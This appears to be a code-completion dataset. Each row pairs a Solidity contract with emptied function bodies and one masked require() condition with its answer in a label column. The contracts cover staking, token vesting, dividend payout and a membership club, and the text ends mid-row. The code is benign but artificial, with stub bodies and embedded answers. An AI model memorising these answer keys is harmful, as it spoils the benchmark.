comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Cannot withdraw, tokens on hold" | pragma solidity ^0.6.0;
/**
* @title lpTokenWrapper
* @author Synthetix (forked from /Synthetixio/synthetix/contracts/StakingRewards.sol)
* Audit: https://github.com/sigp/public-audits/blob/master/synthetix/unipool/review.pdf
* Changes by: SPO.
* @notice LP Token wrapper to facilitate tracking of staked balances
* @dev Changes:
* - Added UserData and _historyTotalSupply to track history balances
* - Changing 'stake' and 'withdraw' to internal funcs
*/
contract LPTokenWrapper is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public lpToken;
uint256 private _totalSupply;
mapping (uint256 => uint256) private _historyTotalSupply;
mapping(address => uint256) private _balances;
//Hold in seconds before withdrawal after last time staked
uint256 public holdTime;
struct UserData {
//Period when balance becomes nonzero or last period rewards claimed
uint256 period;
//Last time deposited. used to implement holdDays
uint256 lastTime;
mapping (uint256 => uint) historyBalance;
}
mapping (address => UserData) private userData;
/**
* @dev TokenWrapper constructor
* @param _lpToken Wrapped token to be staked
* @param _holdDays Hold days after last deposit
*/
constructor(address _lpToken, uint256 _holdDays) internal {
}
/**
* @dev Get the total amount of the staked token
* @return uint256 total supply
*/
function totalSupply()
public
view
returns (uint256)
{
}
/**
* @dev Get the total amount of the staked token
* @param _period Period for which total supply returned
* @return uint256 total supply
*/
function historyTotalSupply(uint256 _period)
public
view
returns (uint256)
{
}
/**
* @dev Get the balance of a given account
* @param _address User for which to retrieve balance
*/
function balanceOf(address _address)
public
view
returns (uint256)
{
}
/**
* @dev Deposits a given amount of lpToken from sender
* @param _amount Units of lpToken
*/
function _stake(uint256 _amount, uint256 _period)
internal
nonReentrant
{
}
/**
* @dev Withdraws a given stake from sender
* @param _amount Units of lpToken
*/
function _withdraw(uint256 _amount, uint256 _period)
internal
nonReentrant
{
//Check first if user has sufficient balance, added due to hold requrement
//("Cannot withdraw, tokens on hold" will be fired even if user has no balance)
require(_balances[msg.sender] >= _amount, "Not enough balance");
UserData storage user = userData[msg.sender];
require(<FILL_ME>)
_totalSupply = _totalSupply.sub(_amount);
_updateHistoryTotalSupply(_period);
_balances[msg.sender] = _balances[msg.sender].sub(_amount);
user.historyBalance[_period] = _balances[msg.sender];
lpToken.safeTransfer(msg.sender, _amount);
}
/**
* @dev Updates history total supply
* @param _period Current period
*/
function _updateHistoryTotalSupply(uint256 _period)
internal
{
}
/**
* @dev Returns User Data
* @param _address address of the User
*/
function getUserData(address _address)
internal
view
returns (UserData storage)
{
}
/**
* @dev Sets user's period and balance for that period
* @param _address address of the User
*/
function _updateUser(address _address, uint256 _period)
internal
{
}
}
| block.timestamp.sub(user.lastTime)>=holdTime,"Cannot withdraw, tokens on hold" | 17,823 | block.timestamp.sub(user.lastTime)>=holdTime |
null | /* solium-disable security/no-block-members */
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable{
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
address public rollback;
bool public revocable;
uint256 public currentBalance;
bool public initialized = false;
uint256 public constant initialTokens = 23597*10**8;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
uint256 public totalBalance;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _rollback,
ERC20Basic _token
)
public
{
}
/**
* initialize
* @dev Initialize the contract
**/
function initialize() public onlyOwner {
// Can only be initialized once
require(<FILL_ME>) // Must have enough tokens allocated
currentBalance = token.balanceOf(this);
totalBalance = currentBalance.add(released[token]);
initialized = true;
}
/**
* tokensAvailable
* @dev returns the number of tokens allocated to this contract
**/
function tokensAvailable() public constant returns (uint256) {
}
function release() public {
}
function revoke() public onlyOwner {
}
function releasableAmount() public returns (uint256) {
}
function vestedAmount() public returns (uint256) {
}
}
| tokensAvailable()==initialTokens | 17,856 | tokensAvailable()==initialTokens |
"token transfer failed" | pragma solidity 0.5.16;
contract owned {
address payable public owner;
address payable internal newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
}
modifier onlyOwner {
}
function transferOwnership(address payable _newOwner) public onlyOwner {
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
}
}
interface paxInterface
{
function transfer(address _to, uint256 _amount) external returns (bool);
function transferFrom(address _from, address _to, uint256 _amount) external returns (bool);
}
contract tempDist is owned{
address public paxTokenAddress;
uint eligibleCount;
uint totalDividendAmount;
function setEligibleCount(uint _eligibleCount) onlyOwner public returns(bool)
{
}
function setTotalDividendAmount(uint _totalDividendAmount) onlyOwner public returns(bool)
{
}
function changePAXaddress(address newPAXaddress) onlyOwner public returns(string memory){
}
function payToUser(address _user) onlyOwner public returns(bool)
{
uint amount = totalDividendAmount / eligibleCount;
require(<FILL_ME>)
}
}
| paxInterface(paxTokenAddress).transfer(_user,amount),"token transfer failed" | 17,917 | paxInterface(paxTokenAddress).transfer(_user,amount) |
null | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
// Only allow transactions originating from a designated member address.
require(<FILL_ME>)
_;
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
}
function maxMembers() public pure returns(uint16) {
}
function inactivityTimeout() public pure returns(uint64) {
}
function donationAddress() public pure returns(address) {
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
}
}
| addressIsMember_[msg.sender] | 17,937 | addressIsMember_[msg.sender] |
null | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
// Members need a non-null address.
require(_memberAddress != address(0));
// Existing members (that have not fallen inactive) cannot be replaced.
require(<FILL_ME>)
// One address cannot hold more than one membership.
require (!addressIsMember_[_memberAddress]);
// Log the addition of a new member: (member id, name, address).
NewMember(_memberId, _memberName, _memberAddress);
// Set up the member: status, name, `member since` & `inactive since`.
members_[_memberId] = Member(true, _memberName, "", uint64(now), 0);
// Set up the address associated with the member id.
memberToAddress_[_memberId] = _memberAddress;
// Point the address to the member id.
addressToMember_[_memberAddress] = _memberId;
// Grant members-only access to the new member.
addressIsMember_[_memberAddress] = true;
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
}
function maxMembers() public pure returns(uint16) {
}
function inactivityTimeout() public pure returns(uint64) {
}
function donationAddress() public pure returns(address) {
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
}
}
| !members_[_memberId].member | 17,937 | !members_[_memberId].member |
null | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
// Members need a non-null address.
require(_memberAddress != address(0));
// Existing members (that have not fallen inactive) cannot be replaced.
require (!members_[_memberId].member);
// One address cannot hold more than one membership.
require(<FILL_ME>)
// Log the addition of a new member: (member id, name, address).
NewMember(_memberId, _memberName, _memberAddress);
// Set up the member: status, name, `member since` & `inactive since`.
members_[_memberId] = Member(true, _memberName, "", uint64(now), 0);
// Set up the address associated with the member id.
memberToAddress_[_memberId] = _memberAddress;
// Point the address to the member id.
addressToMember_[_memberAddress] = _memberId;
// Grant members-only access to the new member.
addressIsMember_[_memberAddress] = true;
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
}
function maxMembers() public pure returns(uint16) {
}
function inactivityTimeout() public pure returns(uint64) {
}
function donationAddress() public pure returns(address) {
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
}
}
| !addressIsMember_[_memberAddress] | 17,937 | !addressIsMember_[_memberAddress] |
null | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
// Members need a non-null address.
require(_newMemberAddress != address(0));
// Memberships cannot be transferred to existing members.
require(<FILL_ME>)
// Log transfer of membership: (member id, new address).
MembershipTransferred(addressToMember_[msg.sender], _newMemberAddress);
// Revoke members-only access for the old member.
delete addressIsMember_[msg.sender];
// Reset fields on the membership.
members_[addressToMember_[msg.sender]].memberSince = uint64(now);
members_[addressToMember_[msg.sender]].inactiveSince = 0;
members_[addressToMember_[msg.sender]].name = bytes32("");
members_[addressToMember_[msg.sender]].pubkey = "";
// Replace the address associated with the member id.
memberToAddress_[addressToMember_[msg.sender]] = _newMemberAddress;
// Point the new address to the member id and clean up the old pointer.
addressToMember_[_newMemberAddress] = addressToMember_[msg.sender];
delete addressToMember_[msg.sender];
// Grant members-only access to the new member.
addressIsMember_[_newMemberAddress] = true;
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
}
function maxMembers() public pure returns(uint16) {
}
function inactivityTimeout() public pure returns(uint64) {
}
function donationAddress() public pure returns(address) {
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
}
}
| !addressIsMember_[_newMemberAddress] | 17,937 | !addressIsMember_[_newMemberAddress] |
null | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
